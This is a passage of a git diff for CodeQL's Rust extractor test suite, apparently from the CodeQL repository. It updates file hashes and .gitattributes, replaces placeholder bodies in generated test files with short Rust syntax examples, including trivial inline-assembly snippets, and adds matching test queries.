58f59d66e833f1baeb0a61b4e8b5dc97680daad78bd0e90627f6dbb1ed0c62e0 +ParenPat/gen_paren_pat.rs 47a0c5b6ec3e51452c2c2e6882ed98aca9891b08246ec231484df8d226985212 47a0c5b6ec3e51452c2c2e6882ed98aca9891b08246ec231484df8d226985212 +ParenTypeRepr/gen_paren_type_repr.rs 28194256a3d7bdcc49283f4be5e3ad3efb0ea2996126abed2a76c6cd9954c879 28194256a3d7bdcc49283f4be5e3ad3efb0ea2996126abed2a76c6cd9954c879 +ParenthesizedArgList/gen_parenthesized_arg_list.rs 161083eb292e1d70ca97b5afda8e27bc96db95678b39cb680de638ac0e49be72 161083eb292e1d70ca97b5afda8e27bc96db95678b39cb680de638ac0e49be72 Path/gen_path.rs 490268d6bfb1635883b8bdefc683d59c4dd0e9c7f86c2e55954661efb3ab0253 490268d6bfb1635883b8bdefc683d59c4dd0e9c7f86c2e55954661efb3ab0253 Path/gen_path_expr.rs dcc9cc16cafff0e2225c1853a91612d3f666016c53fcb4ab5716ed31a33a41cd dcc9cc16cafff0e2225c1853a91612d3f666016c53fcb4ab5716ed31a33a41cd Path/gen_path_pat.rs fd7f941f8b33f19d3693be1fdb595c2fb2e85e8296702b82bf12bcd44632f371 fd7f941f8b33f19d3693be1fdb595c2fb2e85e8296702b82bf12bcd44632f371 -Path/gen_path_type_repr.rs 0cff40a38cf0201b70230ac3f1863728c0fa5f7099651fc437ae02824d12655b 0cff40a38cf0201b70230ac3f1863728c0fa5f7099651fc437ae02824d12655b +Path/gen_path_type_repr.rs f910b75dd478a2ff2a7574bfd11e446dcb065a3d9878dea0c145d5c26ad47617 f910b75dd478a2ff2a7574bfd11e446dcb065a3d9878dea0c145d5c26ad47617 PrefixExpr/gen_prefix_expr.rs c4b53e87f370713b9a9e257be26d082b0761497bac19b1d7401a31b22b30d1ab c4b53e87f370713b9a9e257be26d082b0761497bac19b1d7401a31b22b30d1ab -PtrTypeRepr/gen_ptr_type_repr.rs 290d64a8ab4e8946b2e37496e7d2837529135e99b61cfb16a98c00f4d6ff8679 290d64a8ab4e8946b2e37496e7d2837529135e99b61cfb16a98c00f4d6ff8679 +PtrTypeRepr/gen_ptr_type_repr.rs b833d2a02add897c53ad5f0d436e1f5fa8919809592e1ded56b0c1c99b8344bd b833d2a02add897c53ad5f0d436e1f5fa8919809592e1ded56b0c1c99b8344bd RangeExpr/gen_range_expr.rs 3f27cff9cc76b2703beff622d1453b84121e1970a869e45f9428deac92c4ecb0 3f27cff9cc76b2703beff622d1453b84121e1970a869e45f9428deac92c4ecb0 RangePat/gen_range_pat.rs 18b5169c3ab9230c95d86c4897f8343b2176d9602c9ea371c70c1eb0dbf89a28 18b5169c3ab9230c95d86c4897f8343b2176d9602c9ea371c70c1eb0dbf89a28 RefExpr/gen_ref_expr.rs 82695467551def4a00c78aa1ea6a1460e9edbef7df2672f13daccb0ee5d6b4c6 82695467551def4a00c78aa1ea6a1460e9edbef7df2672f13daccb0ee5d6b4c6 RefPat/gen_ref_pat.rs aba7518649d9a37928e59a40d42f76cc0f4735e8daf711a3def6d2f0520e1f54 aba7518649d9a37928e59a40d42f76cc0f4735e8daf711a3def6d2f0520e1f54 -RefTypeRepr/gen_ref_type_repr.rs 39a79cf148b7ee30e23a12c9349854dbe83aee1790153a388c43ff749907f8ea 39a79cf148b7ee30e23a12c9349854dbe83aee1790153a388c43ff749907f8ea -Rename/gen_rename.rs 553c16f243d1ae3b6b28510d39436c83425944e5085171c18e0a2aa40deb74fc 553c16f243d1ae3b6b28510d39436c83425944e5085171c18e0a2aa40deb74fc -RestPat/gen_rest_pat.rs e762bf7537225f97da751c5dca6a2cd3836ad7579b68c748b8c6cba65087acca e762bf7537225f97da751c5dca6a2cd3836ad7579b68c748b8c6cba65087acca -RetTypeRepr/gen_ret_type_repr.rs 25edbd60ad63ab4266f6426ef50f1dd17e24132f5a24404d240a3f07daef6a31 25edbd60ad63ab4266f6426ef50f1dd17e24132f5a24404d240a3f07daef6a31 +RefTypeRepr/gen_ref_type_repr.rs cf7b32d64550cd0b5033869b841089c1de292a1b25d3bd44c63ef9a265b9c8fb cf7b32d64550cd0b5033869b841089c1de292a1b25d3bd44c63ef9a265b9c8fb +Rename/gen_rename.rs 05957dd5c7a0971223a485207ef3e98b0408a3e765cfb1fd6237bcc21c89f21a 05957dd5c7a0971223a485207ef3e98b0408a3e765cfb1fd6237bcc21c89f21a +RestPat/gen_rest_pat.rs e9c977c8d3fce1d931abdfc025444e3e883468927f784ad1791670cace736aa7 e9c977c8d3fce1d931abdfc025444e3e883468927f784ad1791670cace736aa7 +RetTypeRepr/gen_ret_type_repr.rs 9db86003c7a4d91aa13fbc8220559bea6a05221c38c3f3ac0e03c6ac790aebcc 9db86003c7a4d91aa13fbc8220559bea6a05221c38c3f3ac0e03c6ac790aebcc ReturnExpr/gen_return_expr.rs 4f6ef29d7b3c60d6d71d1a6034a0721671f517428ba21897361a92b01009d38f 4f6ef29d7b3c60d6d71d1a6034a0721671f517428ba21897361a92b01009d38f -ReturnTypeSyntax/gen_return_type_syntax.rs 0b11a4cc400f9a2001996f99d61391bdb636e8aea036f587cf18ad6a957fe496 0b11a4cc400f9a2001996f99d61391bdb636e8aea036f587cf18ad6a957fe496 +ReturnTypeSyntax/gen_return_type_syntax.rs 648ce343023e7f80c445fada390870c5498add7fdf63dc82a800f6a77b7e7026 648ce343023e7f80c445fada390870c5498add7fdf63dc82a800f6a77b7e7026 SelfParam/gen_self_param.rs 15491f86a32020c9ed3ecadc08c945ed01916b63683f95d2f5c1bedb4f3f01f2 15491f86a32020c9ed3ecadc08c945ed01916b63683f95d2f5c1bedb4f3f01f2 SlicePat/gen_slice_pat.rs df4a6692f5100aa11dd777561400ce71e37b85f2363b0638c21975a1771b15d5 df4a6692f5100aa11dd777561400ce71e37b85f2363b0638c21975a1771b15d5 -SliceTypeRepr/gen_slice_type_repr.rs e50c142b7cf7bc3040ad64f351488557323d0b2fd5d004b41ed0fa8e522b5648 e50c142b7cf7bc3040ad64f351488557323d0b2fd5d004b41ed0fa8e522b5648 -SourceFile/gen_source_file.rs a7a1d4fa77b53adb6fbc031bf7ab49cf7c8787728ba0a687c348b5eefbb5b9df a7a1d4fa77b53adb6fbc031bf7ab49cf7c8787728ba0a687c348b5eefbb5b9df -Static/gen_static.rs ff01782c2f0f702373fc6df45ac9277fbdd8d4fad69dbe5f984a14790a46e7b9 ff01782c2f0f702373fc6df45ac9277fbdd8d4fad69dbe5f984a14790a46e7b9 -StmtList/gen_stmt_list.rs bb3791a613b91a2086c19cb0eddbf978bb37bbb2bd79d3e61b40be35c71daaad bb3791a613b91a2086c19cb0eddbf978bb37bbb2bd79d3e61b40be35c71daaad -Struct/gen_struct.rs 09c5c164d7c8a3991fad1a118d66c12c24d2ebf30fbea6205f7690ca9f24dbb2 09c5c164d7c8a3991fad1a118d66c12c24d2ebf30fbea6205f7690ca9f24dbb2 +SliceTypeRepr/gen_slice_type_repr.rs 4a85402d40028c5a40ef35018453a89700b2171bc62fd86587378484831b969f 4a85402d40028c5a40ef35018453a89700b2171bc62fd86587378484831b969f +SourceFile/gen_source_file.rs c0469cc8f0ecce3dd2e77963216d7e8808046014533359a44c1698e48783b420 c0469cc8f0ecce3dd2e77963216d7e8808046014533359a44c1698e48783b420 +Static/gen_static.rs 21314018ea184c1ddcb594d67bab97ae18ceaf663d9f120f39ff755d389dde7a 21314018ea184c1ddcb594d67bab97ae18ceaf663d9f120f39ff755d389dde7a +StmtList/gen_stmt_list.rs adbd82045a50e2051434ce3cdd524c9f2c6ad9f3dd02b4766fb107e2e99212db adbd82045a50e2051434ce3cdd524c9f2c6ad9f3dd02b4766fb107e2e99212db +Struct/gen_struct.rs 8de3861997dfdd525b93bf8f8a857ed3e6b4d014a35d8a9298a236f2ff476a34 8de3861997dfdd525b93bf8f8a857ed3e6b4d014a35d8a9298a236f2ff476a34 StructExpr/gen_struct_expr.rs 8dd9a578625a88623c725b8afdfd8b636e1c3c991fe96c55b24d4b283d2212fb 8dd9a578625a88623c725b8afdfd8b636e1c3c991fe96c55b24d4b283d2212fb StructExprField/gen_struct_expr_field.rs 4ccca8e8ad462b4873f5604f0afdd1836027b8d39e36fbe7d6624ef3e744a084 4ccca8e8ad462b4873f5604f0afdd1836027b8d39e36fbe7d6624ef3e744a084 -StructExprFieldList/gen_struct_expr_field_list.rs 30a48484dbeca1fd8ead4b7b80f97bd583259e35dce2b590329c86a2d0e152de 30a48484dbeca1fd8ead4b7b80f97bd583259e35dce2b590329c86a2d0e152de -StructField/gen_struct_field.rs 024d30845e244dd535dfb6c30f16de0eec5acd3a257110eeffd260ec82f9edb2 024d30845e244dd535dfb6c30f16de0eec5acd3a257110eeffd260ec82f9edb2 -StructFieldList/gen_struct_field_list.rs 9ee6167b3b2edd2ad49f8fe02d6ef67fb1dacf6807014a6a16597d2f40d3bbae 9ee6167b3b2edd2ad49f8fe02d6ef67fb1dacf6807014a6a16597d2f40d3bbae +StructExprFieldList/gen_struct_expr_field_list.rs bc17e356690cfb1cd51f7dbe5ac88c0b9188c9bf94b9e3cc82581120190f33dc bc17e356690cfb1cd51f7dbe5ac88c0b9188c9bf94b9e3cc82581120190f33dc +StructField/gen_struct_field.rs 0884e458732ab74b4c7debee4fbef014f847815be5a6ddeba467844d33607c6e 0884e458732ab74b4c7debee4fbef014f847815be5a6ddeba467844d33607c6e +StructFieldList/gen_struct_field_list.rs 3c24edef6a92a1b7bb785012d1e53eb69197fb6ba3d4dfdcd43f901acdb7f51a 3c24edef6a92a1b7bb785012d1e53eb69197fb6ba3d4dfdcd43f901acdb7f51a StructPat/gen_struct_pat.rs 3f972ff8a76acb61ef48bdea92d2fac8b1005449d746e6188fd5486b1f542e5c 3f972ff8a76acb61ef48bdea92d2fac8b1005449d746e6188fd5486b1f542e5c StructPatField/gen_struct_pat_field.rs dfdab8cef7dcfee40451744c8d2c7c4ae67fdb8bd054b894c08d62997942f364 dfdab8cef7dcfee40451744c8d2c7c4ae67fdb8bd054b894c08d62997942f364 -StructPatFieldList/gen_struct_pat_field_list.rs 92490d79c975d25fd0d2e4a830a80abd896c5eb3b30fc54a3b386603ff09d693 92490d79c975d25fd0d2e4a830a80abd896c5eb3b30fc54a3b386603ff09d693 -TokenTree/gen_token_tree.rs dde6595ee4e8f3fcdecfb054438b08e1a7db10d83d9fff121794df814c7aee0e dde6595ee4e8f3fcdecfb054438b08e1a7db10d83d9fff121794df814c7aee0e +StructPatFieldList/gen_struct_pat_field_list.rs 06c0e56c78a6b28909d94d9519ba41ac8a6005741f82b947ef14db51e8cbebd0 06c0e56c78a6b28909d94d9519ba41ac8a6005741f82b947ef14db51e8cbebd0 +TokenTree/gen_token_tree.rs 694d5ea71e00792374f771c74532abd66f0af637f87fe3203630aa7ef866a96f 694d5ea71e00792374f771c74532abd66f0af637f87fe3203630aa7ef866a96f Trait/gen_trait.rs bac694993e224f9c6dd86cfb28c54846ae1b3bae45a1e58d3149c884184487ea bac694993e224f9c6dd86cfb28c54846ae1b3bae45a1e58d3149c884184487ea -TraitAlias/gen_trait_alias.rs c0c2d370674a20173db33e118e011328a880ba8ab42788ca735bb3d80b4b64a8 c0c2d370674a20173db33e118e011328a880ba8ab42788ca735bb3d80b4b64a8 -TryExpr/gen_try_expr.rs 2c7d8a5f3d65a084b645b5e4659fbbd3fbe65994fed1e6474ebd83df06f8d725 2c7d8a5f3d65a084b645b5e4659fbbd3fbe65994fed1e6474ebd83df06f8d725 +TraitAlias/gen_trait_alias.rs 425d78a7cb87db7737ceaf713c9a62e0411537374d1bc58c5b1fb80cc25732c9 425d78a7cb87db7737ceaf713c9a62e0411537374d1bc58c5b1fb80cc25732c9 +TryExpr/gen_try_expr.rs f60198181a423661f4ed1bf6f98d475f40ada190b7b5fc6af97aa5e45ca29a1e f60198181a423661f4ed1bf6f98d475f40ada190b7b5fc6af97aa5e45ca29a1e TupleExpr/gen_tuple_expr.rs 8ecd1b6ecc58a0319eed434a423cc6f41bdf1901b1950e6e79735d7f7b2f8374 8ecd1b6ecc58a0319eed434a423cc6f41bdf1901b1950e6e79735d7f7b2f8374 -TupleField/gen_tuple_field.rs 8a77f7f1c2e4ac4374a147c27db7789e80496b5a405fd9cc3341f764a2136c38 8a77f7f1c2e4ac4374a147c27db7789e80496b5a405fd9cc3341f764a2136c38 -TupleFieldList/gen_tuple_field_list.rs d2a5151b413be3edbf093c4f47a8d57945e794d399378971940f6a5c65d4c223 d2a5151b413be3edbf093c4f47a8d57945e794d399378971940f6a5c65d4c223 +TupleField/gen_tuple_field.rs 5d6b4f356af895541f975cc1fd90116fd047fe914c2049d47f61e4a43a8c2af4 5d6b4f356af895541f975cc1fd90116fd047fe914c2049d47f61e4a43a8c2af4 +TupleFieldList/gen_tuple_field_list.rs 42f0af8c391fb9e33fe09b791e0e719cadf5143b58764f8a5d38f8d9054daca7 42f0af8c391fb9e33fe09b791e0e719cadf5143b58764f8a5d38f8d9054daca7 TuplePat/gen_tuple_pat.rs b1b0c9c5ff1b787f380644691c77807655a4f6441fc7431c90ecf78c54c26148 b1b0c9c5ff1b787f380644691c77807655a4f6441fc7431c90ecf78c54c26148 TupleStructPat/gen_tuple_struct_pat.rs 601ca8813272d15b4c8fd7402d0d28a42a62be82865eb5e86b985ad31464ca98 601ca8813272d15b4c8fd7402d0d28a42a62be82865eb5e86b985ad31464ca98 -TupleTypeRepr/gen_tuple_type_repr.rs 4ce074df3739c7614eae850d54d28f0ee4869d64ccc5736c5b73bed7800a0470 4ce074df3739c7614eae850d54d28f0ee4869d64ccc5736c5b73bed7800a0470 +TupleTypeRepr/gen_tuple_type_repr.rs 64873a6a1cd5df6cd10165d7e9fa0399902b6bfbac086ef3a7ce83237b816879 64873a6a1cd5df6cd10165d7e9fa0399902b6bfbac086ef3a7ce83237b816879 TypeAlias/gen_type_alias.rs da2b959f1a2a4f5471c231025404ca82a1bc79ac68adcda5a67292c428ad6143 da2b959f1a2a4f5471c231025404ca82a1bc79ac68adcda5a67292c428ad6143 -TypeArg/gen_type_arg.rs 11e024708429bb683adc848d0be168cd9d190793833880e6ec74139df296e818 11e024708429bb683adc848d0be168cd9d190793833880e6ec74139df296e818 -TypeBound/gen_type_bound.rs 4198346113b075812f79858ccbd467339d6b8039a449bd58c4710dd0aba1c9c1 4198346113b075812f79858ccbd467339d6b8039a449bd58c4710dd0aba1c9c1 -TypeBoundList/gen_type_bound_list.rs bf70e31e5908e0eea6cdb4354ae78fc6ee1077b193409e741cac9b5d93d5deb2 bf70e31e5908e0eea6cdb4354ae78fc6ee1077b193409e741cac9b5d93d5deb2 -TypeParam/gen_type_param.rs 31c02d18020b305f1c37fdeb97656dd5b1e49e6b9a072329c2f099c55a06e3b7 31c02d18020b305f1c37fdeb97656dd5b1e49e6b9a072329c2f099c55a06e3b7 +TypeArg/gen_type_arg.rs a0e455d7173b51330db63f1b7ac9c5d4263d33b3a115f97a8167d4dcc42469ff a0e455d7173b51330db63f1b7ac9c5d4263d33b3a115f97a8167d4dcc42469ff +TypeBound/gen_type_bound.rs 7487ae3fd7c3a481efe96ce7894fc974b96276ecd78e0ccb141c698b5c6f5eaa 7487ae3fd7c3a481efe96ce7894fc974b96276ecd78e0ccb141c698b5c6f5eaa +TypeBoundList/gen_type_bound_list.rs f61e80667385f6e8f51452a401d355b8939dbb1e1a7d3a506023639cb387bfbd f61e80667385f6e8f51452a401d355b8939dbb1e1a7d3a506023639cb387bfbd +TypeParam/gen_type_param.rs 00b92ac7042ae83be1e37cd22f6d02098ca3157dc1ef45fbdf3b5f252ea6a8de 00b92ac7042ae83be1e37cd22f6d02098ca3157dc1ef45fbdf3b5f252ea6a8de UnderscoreExpr/gen_underscore_expr.rs fe34e99d322bf86c0f5509c9b5fd6e1e8abbdf63dbe7e01687344a41e9aabe52 fe34e99d322bf86c0f5509c9b5fd6e1e8abbdf63dbe7e01687344a41e9aabe52 -Union/gen_union.rs d5e814688e93dcb105f29a392159c1b995ee15a74720167219f9431db8ef70a3 d5e814688e93dcb105f29a392159c1b995ee15a74720167219f9431db8ef70a3 -Use/gen_use.rs 2a0ea9fa34d844fda63e8f605f6a951e8b272d63ebfb0ae501fc734559a83a6b 2a0ea9fa34d844fda63e8f605f6a951e8b272d63ebfb0ae501fc734559a83a6b -UseTree/gen_use_tree.rs bf7525e8641a5a90a7e07214e7480b6507737cf60f9bd4d8b82bc71a8b9d7e8d bf7525e8641a5a90a7e07214e7480b6507737cf60f9bd4d8b82bc71a8b9d7e8d -UseTreeList/gen_use_tree_list.rs ba450699782e51b1d3139148709827e35f2e57235849fb26a073e2786dfc53e3 ba450699782e51b1d3139148709827e35f2e57235849fb26a073e2786dfc53e3 -Variant/gen_variant.rs 036566793ee468418f915974e2925d8bafaec3c93c2463212f222e6a5f290f24 036566793ee468418f915974e2925d8bafaec3c93c2463212f222e6a5f290f24 -VariantList/gen_variant_list.rs 932b67564c5ef4116d84db6945e098f6d7438755d99fc198fde8f4527979bf00 932b67564c5ef4116d84db6945e098f6d7438755d99fc198fde8f4527979bf00 -Visibility/gen_visibility.rs 6f5ca31d3593643eb0ff2be9b191619d3d8c3a4aa0093293ae2bdc299421ce60 6f5ca31d3593643eb0ff2be9b191619d3d8c3a4aa0093293ae2bdc299421ce60 -WhereClause/gen_where_clause.rs bdfb67817b24df5d33080825320f07574e57f1a950a4505a79c2cbd6967fb882 bdfb67817b24df5d33080825320f07574e57f1a950a4505a79c2cbd6967fb882 -WherePred/gen_where_pred.rs d127641a319766500581898c09b7d00be34c686670cb860022dc0f7f52f50137 d127641a319766500581898c09b7d00be34c686670cb860022dc0f7f52f50137 -WhileExpr/gen_while_expr.rs 81c9082bcba72c6a89d6f4cbdb456ccc521be64fd554755924dbd3bbe6dcdf6d 81c9082bcba72c6a89d6f4cbdb456ccc521be64fd554755924dbd3bbe6dcdf6d +Union/gen_union.rs 0adc276bf324661137b4de7c4522afd5f7b2776e913c4a6ecc580ce3d753a51d 0adc276bf324661137b4de7c4522afd5f7b2776e913c4a6ecc580ce3d753a51d +Use/gen_use.rs 3a8a426109080ce2a0ed5a68a83cfa195196c9f0a14eff328b7be54d1131eede 3a8a426109080ce2a0ed5a68a83cfa195196c9f0a14eff328b7be54d1131eede +UseBoundGenericArgs/gen_use_bound_generic_args.rs 1da801583b77f5f064d729a1d4313a863f1ad2e1dcc11c963194839cba977367 1da801583b77f5f064d729a1d4313a863f1ad2e1dcc11c963194839cba977367 +UseTree/gen_use_tree.rs cccf4c2c9045548ffd9f58e93b46aa434c0ca0671641863e7558047097db5dee cccf4c2c9045548ffd9f58e93b46aa434c0ca0671641863e7558047097db5dee +UseTreeList/gen_use_tree_list.rs 6fc13cab53bb77475005499da717c7cd55648ba4c4d7d32c422624760ca6afc3 6fc13cab53bb77475005499da717c7cd55648ba4c4d7d32c422624760ca6afc3 +Variant/gen_variant.rs fa3d3a9e3e0c3aa565b965fad9c3dc2ffd5a8d82963e3a55a9acbb0f14b603d6 fa3d3a9e3e0c3aa565b965fad9c3dc2ffd5a8d82963e3a55a9acbb0f14b603d6 +VariantList/gen_variant_list.rs a1faa4d59b072f139d14cb8a6d63a0ce8c473170d6320a07ce6bb9d517f8486d a1faa4d59b072f139d14cb8a6d63a0ce8c473170d6320a07ce6bb9d517f8486d +Visibility/gen_visibility.rs 696f86b56e28a17ffb373170e192a76c288b0750dfa6e64fac0d8b4a77b0468c 696f86b56e28a17ffb373170e192a76c288b0750dfa6e64fac0d8b4a77b0468c +WhereClause/gen_where_clause.rs 22522c933be47f8f7f9d0caddfa41925c08df343c564baad2fe2daa14f1bfb1a 22522c933be47f8f7f9d0caddfa41925c08df343c564baad2fe2daa14f1bfb1a +WherePred/gen_where_pred.rs dbc7bf0f246a04b42783f910c6f09841393f0e0a78f0a584891a99d0cf461619 dbc7bf0f246a04b42783f910c6f09841393f0e0a78f0a584891a99d0cf461619 +WhileExpr/gen_while_expr.rs 97276c5946a36001638491c99a36170d22bc6011c5e59f621b37c7a2d7737879 97276c5946a36001638491c99a36170d22bc6011c5e59f621b37c7a2d7737879 WildcardPat/gen_wildcard_pat.rs f1b175eeb3a0fc32bbcfb70a207be33dfde51a7d5198f72b8e08948f0d43e3dc f1b175eeb3a0fc32bbcfb70a207be33dfde51a7d5198f72b8e08948f0d43e3dc YeetExpr/gen_yeet_expr.rs c243b785a2cbd941bcec23dafc23ffbc64b93cf2843b6ede9783cdb81fed439d c243b785a2cbd941bcec23dafc23ffbc64b93cf2843b6ede9783cdb81fed439d YieldExpr/gen_yield_expr.rs 20f607719ff90bbcd831fe48a530400d0774394867ae65618cd1671d638f853e 20f607719ff90bbcd831fe48a530400d0774394867ae65618cd1671d638f853e diff --git a/rust/ql/test/extractor-tests/generated/.gitattributes b/rust/ql/test/extractor-tests/generated/.gitattributes index 9452518fe36..dd1c891195e 100644 --- a/rust/ql/test/extractor-tests/generated/.gitattributes +++ b/rust/ql/test/extractor-tests/generated/.gitattributes @@ -5,7 +5,18 @@ /ArrayListExpr/gen_array_list_expr.rs linguist-generated /ArrayRepeatExpr/gen_array_repeat_expr.rs linguist-generated /ArrayTypeRepr/gen_array_type_repr.rs linguist-generated +/AsmClobberAbi/gen_asm_clobber_abi.rs linguist-generated +/AsmConst/gen_asm_const.rs linguist-generated +/AsmDirSpec/gen_asm_dir_spec.rs linguist-generated /AsmExpr/gen_asm_expr.rs linguist-generated +/AsmLabel/gen_asm_label.rs linguist-generated +/AsmOperandExpr/gen_asm_operand_expr.rs linguist-generated +/AsmOperandNamed/gen_asm_operand_named.rs linguist-generated +/AsmOption/gen_asm_option.rs linguist-generated +/AsmOptionsList/gen_asm_options_list.rs linguist-generated +/AsmRegOperand/gen_asm_reg_operand.rs linguist-generated +/AsmRegSpec/gen_asm_reg_spec.rs linguist-generated +/AsmSym/gen_asm_sym.rs linguist-generated /AssocTypeArg/gen_assoc_type_arg.rs linguist-generated /Attr/gen_attr.rs linguist-generated /AwaitExpr/gen_await_expr.rs linguist-generated @@ -83,6 +94,7 @@ /ParenExpr/gen_paren_expr.rs linguist-generated /ParenPat/gen_paren_pat.rs linguist-generated /ParenTypeRepr/gen_paren_type_repr.rs linguist-generated +/ParenthesizedArgList/gen_parenthesized_arg_list.rs linguist-generated /Path/gen_path.rs linguist-generated /Path/gen_path_expr.rs linguist-generated /Path/gen_path_pat.rs linguist-generated @@ -132,6 +144,7 @@ /UnderscoreExpr/gen_underscore_expr.rs linguist-generated /Union/gen_union.rs linguist-generated /Use/gen_use.rs linguist-generated +/UseBoundGenericArgs/gen_use_bound_generic_args.rs linguist-generated /UseTree/gen_use_tree.rs linguist-generated /UseTreeList/gen_use_tree_list.rs linguist-generated /Variant/gen_variant.rs linguist-generated diff --git a/rust/ql/test/extractor-tests/generated/Abi/gen_abi.rs b/rust/ql/test/extractor-tests/generated/Abi/gen_abi.rs index 01c614999d0..6f04b2640f1 100644 --- a/rust/ql/test/extractor-tests/generated/Abi/gen_abi.rs +++ b/rust/ql/test/extractor-tests/generated/Abi/gen_abi.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_abi() -> () { - // A Abi. For example: - todo!() + // An ABI specification for an extern function or block. + // + // For example: + extern "C" fn foo() {} + // ^^^ } diff --git a/rust/ql/test/extractor-tests/generated/ArgList/gen_arg_list.rs b/rust/ql/test/extractor-tests/generated/ArgList/gen_arg_list.rs index 2cfe6d29c0d..25c1ea915ce 100644 --- a/rust/ql/test/extractor-tests/generated/ArgList/gen_arg_list.rs +++ b/rust/ql/test/extractor-tests/generated/ArgList/gen_arg_list.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_arg_list() -> () { - // A ArgList. For example: - todo!() + // A list of arguments in a function or method call. + // + // For example: + foo(1, 2, 3); + // ^^^^^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/ArrayTypeRepr/gen_array_type_repr.rs b/rust/ql/test/extractor-tests/generated/ArrayTypeRepr/gen_array_type_repr.rs index 118b0286034..76e7d3def64 100644 --- a/rust/ql/test/extractor-tests/generated/ArrayTypeRepr/gen_array_type_repr.rs +++ b/rust/ql/test/extractor-tests/generated/ArrayTypeRepr/gen_array_type_repr.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_array_type_repr() -> () { - // A ArrayTypeRepr. For example: - todo!() + // An array type representation. + // + // For example: + let arr: [i32; 4]; + // ^^^^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/AsmClobberAbi/AsmClobberAbi.ql b/rust/ql/test/extractor-tests/generated/AsmClobberAbi/AsmClobberAbi.ql new file mode 100644 index 00000000000..087663779db --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmClobberAbi/AsmClobberAbi.ql @@ -0,0 +1,7 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from AsmClobberAbi x +where toBeTested(x) and not x.isUnknown() +select x diff --git a/rust/ql/test/extractor-tests/generated/AsmClobberAbi/MISSING_SOURCE.txt b/rust/ql/test/extractor-tests/generated/AsmClobberAbi/MISSING_SOURCE.txt deleted file mode 100644 index 7f96b17b1f3..00000000000 --- a/rust/ql/test/extractor-tests/generated/AsmClobberAbi/MISSING_SOURCE.txt +++ /dev/null @@ -1,4 +0,0 @@ -// generated by codegen, do not edit - -After a source file is added in this directory and codegen is run again, test queries -will appear and this file will be deleted diff --git a/rust/ql/test/extractor-tests/generated/AsmClobberAbi/gen_asm_clobber_abi.rs b/rust/ql/test/extractor-tests/generated/AsmClobberAbi/gen_asm_clobber_abi.rs new file mode 100644 index 00000000000..2735abdd75e --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmClobberAbi/gen_asm_clobber_abi.rs @@ -0,0 +1,9 @@ +// generated by codegen, do not edit + +fn test_asm_clobber_abi() -> () { + // A clobbered ABI in an inline assembly block. + // + // For example: + asm!("", clobber_abi("C")); + // ^^^^^^^^^^^^^^^^ +} diff --git a/rust/ql/test/extractor-tests/generated/AsmConst/AsmConst.ql b/rust/ql/test/extractor-tests/generated/AsmConst/AsmConst.ql new file mode 100644 index 00000000000..151d7a70fa2 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmConst/AsmConst.ql @@ -0,0 +1,11 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from AsmConst x, string hasExpr, string isConst +where + toBeTested(x) and + not x.isUnknown() and + (if x.hasExpr() then hasExpr = "yes" else hasExpr = "no") and + if x.isConst() then isConst = "yes" else isConst = "no" +select x, "hasExpr:", hasExpr, "isConst:", isConst diff --git a/rust/ql/test/extractor-tests/generated/AsmConst/AsmConst_getExpr.ql b/rust/ql/test/extractor-tests/generated/AsmConst/AsmConst_getExpr.ql new file mode 100644 index 00000000000..e01d9d86fbe --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmConst/AsmConst_getExpr.ql @@ -0,0 +1,7 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from AsmConst x +where toBeTested(x) and not x.isUnknown() +select x, x.getExpr() diff --git a/rust/ql/test/extractor-tests/generated/AsmConst/MISSING_SOURCE.txt b/rust/ql/test/extractor-tests/generated/AsmConst/MISSING_SOURCE.txt deleted file mode 100644 index 7f96b17b1f3..00000000000 --- a/rust/ql/test/extractor-tests/generated/AsmConst/MISSING_SOURCE.txt +++ /dev/null @@ -1,4 +0,0 @@ -// generated by codegen, do not edit - -After a source file is added in this directory and codegen is run again, test queries -will appear and this file will be deleted diff --git a/rust/ql/test/extractor-tests/generated/AsmConst/gen_asm_const.rs b/rust/ql/test/extractor-tests/generated/AsmConst/gen_asm_const.rs new file mode 100644 index 00000000000..23800c7fd44 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmConst/gen_asm_const.rs @@ -0,0 +1,9 @@ +// generated by codegen, do not edit + +fn test_asm_const() -> () { + // A constant operand in an inline assembly block. + // + // For example: + asm!("mov eax, {const}", const 42); + // ^^^^^^^ +} diff --git a/rust/ql/test/extractor-tests/generated/AsmDirSpec/AsmDirSpec.ql b/rust/ql/test/extractor-tests/generated/AsmDirSpec/AsmDirSpec.ql new file mode 100644 index 00000000000..0d009492422 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmDirSpec/AsmDirSpec.ql @@ -0,0 +1,7 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from AsmDirSpec x +where toBeTested(x) and not x.isUnknown() +select x diff --git a/rust/ql/test/extractor-tests/generated/AsmDirSpec/MISSING_SOURCE.txt b/rust/ql/test/extractor-tests/generated/AsmDirSpec/MISSING_SOURCE.txt deleted file mode 100644 index 7f96b17b1f3..00000000000 --- a/rust/ql/test/extractor-tests/generated/AsmDirSpec/MISSING_SOURCE.txt +++ /dev/null @@ -1,4 +0,0 @@ -// generated by codegen, do not edit - -After a source file is added in this directory and codegen is run again, test queries -will appear and this file will be deleted diff --git a/rust/ql/test/extractor-tests/generated/AsmDirSpec/gen_asm_dir_spec.rs b/rust/ql/test/extractor-tests/generated/AsmDirSpec/gen_asm_dir_spec.rs new file mode 100644 index 00000000000..8e3740ddfbb --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmDirSpec/gen_asm_dir_spec.rs @@ -0,0 +1,9 @@ +// generated by codegen, do not edit + +fn test_asm_dir_spec() -> () { + // An inline assembly directive specification. + // + // For example: + asm!("nop"); + // ^^^^^ +} diff --git a/rust/ql/test/extractor-tests/generated/AsmLabel/AsmLabel.ql b/rust/ql/test/extractor-tests/generated/AsmLabel/AsmLabel.ql new file mode 100644 index 00000000000..fd81bc1820a --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmLabel/AsmLabel.ql @@ -0,0 +1,10 @@ +// 